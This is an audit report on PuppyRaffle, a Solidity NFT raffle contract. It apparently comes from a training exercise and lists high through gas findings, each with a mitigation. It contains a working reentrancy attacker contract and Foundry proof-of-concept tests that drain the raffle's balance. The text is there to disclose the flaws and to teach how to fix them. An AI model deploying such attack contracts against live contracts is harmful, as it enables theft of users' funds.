Protocol Audit Report

Version 1.0

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Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT.

Disclaimer

Zac Williamson will make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner: Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player: Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through refund function.

Issues found

Severity	Number of issues found
High	3
Medium	3

Severity	Number of issues found
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` funciton, we first make an external call to the `msg.sender` address and only after ,aking that external call do we uipdate the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>          payable(msg.sender).sendValue(entranceFee);
7  @>          players[playerIndex] = address(0);
8
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`

3. Attacker enters raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of code

Code

Place the following in PuppyRaffle.t.sol

```
function test_reentrancyRefund() public {
        // users entering raffle
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // create attack contract and user
        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        // noting starting balances
        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;

        // attack
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        // impact
        console.log("attackerContract balance: ",
            startingAttackContractBalance);
        console.log("puppyRaffle balance: ", startingPuppyRaffleBalance
            );
        console.log("ending attackerContract balance: ", address(
            attackerContract).balance);
        console.log("ending puppyRaffle balance: ", address(puppyRaffle
            ).balance);
    }
```

Place the following contract in PuppyRaffle.t.sol

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
```

```
4       uint256 attackerIndex;
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() public payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
16          puppyRaffle.refund(attackerIndex);
17      }
18
19      function _stealMoney() internal {
20          if (address(puppyRaffle).balance >= entranceFee) {
21              puppyRaffle.refund(attackerIndex);
22          }
23      }
24
25      fallback() external payable {
26          _stealMoney();
27      }
28
29      receive() external payable {
30          _stealMoney();
31      }
32  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFees);
8   -       players[playerIndex] = address(0);
9   -       emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner

Description Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note This means users could front-run this function call and `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
```js
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows,

the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: Paste the following test in `PuppyRaffleTest.t.sol`

Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a
       second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
       check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!")
       ;
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. `diff - pragma solidity ^0.7.6; + pragma solidity ^0.8.18;` Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`. `diff - uint64 public totalFees = 0; + uint256 public totalFees = 0;`
3. Remove the balance check in `PuppyRaffle::withdrawFees diff - require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");` We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in

`PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `Puppyraffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

```
1 /// @audit
2 // Check for duplicates
3 @>     for (uint256 i = 0; i < players.length - 1; i++) {
4             for (uint256 j = i + 1; j < players.length; j++) {
5                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
6             }
7         }
```

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503275 - 2nd 100 players: ~18995515

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
function test_DoS() public {
        // Foundry lets us set a gas price
        vm.txGasPrice(1);

        // Creates 100 addresses
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < players.length; i++) {
            players[i] = address(i);
        }

        // Gas calculations for first 100 players
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
            );

        // Creates another array of 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersTwo.length; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        // Gas calculations for second 100 players
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasEndTwo = gasleft();
        uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice
            ;
        console.log("Gas cost of the second 100 players: ",
            gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
```

```
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10  +            addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13  -        // Check for duplicates
14  +       // Check for duplicates only from the new players
15  +       for (uint256 i = 0; i < newPlayers.length; i++) {
16  +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
        PuppyRaffle: Duplicate player");
17  +       }
18  -        for (uint256 i = 0; i < players.length; i++) {
19  -            for (uint256 j = i + 1; j < players.length; j++) {
20  -                require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
21  -            }
22  -        }
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28      function selectWinner() external {
29  +       raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
```

```
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9 @>        totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
```

```
10              uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
11          address winner = players[winnerIndex];
12          uint256 totalAmountCollected = players.length * entranceFee;
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 3

```
pragma solidity ^0.7.6;
```

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

```
0.8.18
```

The recommendations take into account:

```
Risks related to recent releases
Risks of complex code generation changes
Risks of new language features
Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

---

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
```diff
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playersLength; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player"
            );
}
}
```

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
          _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
```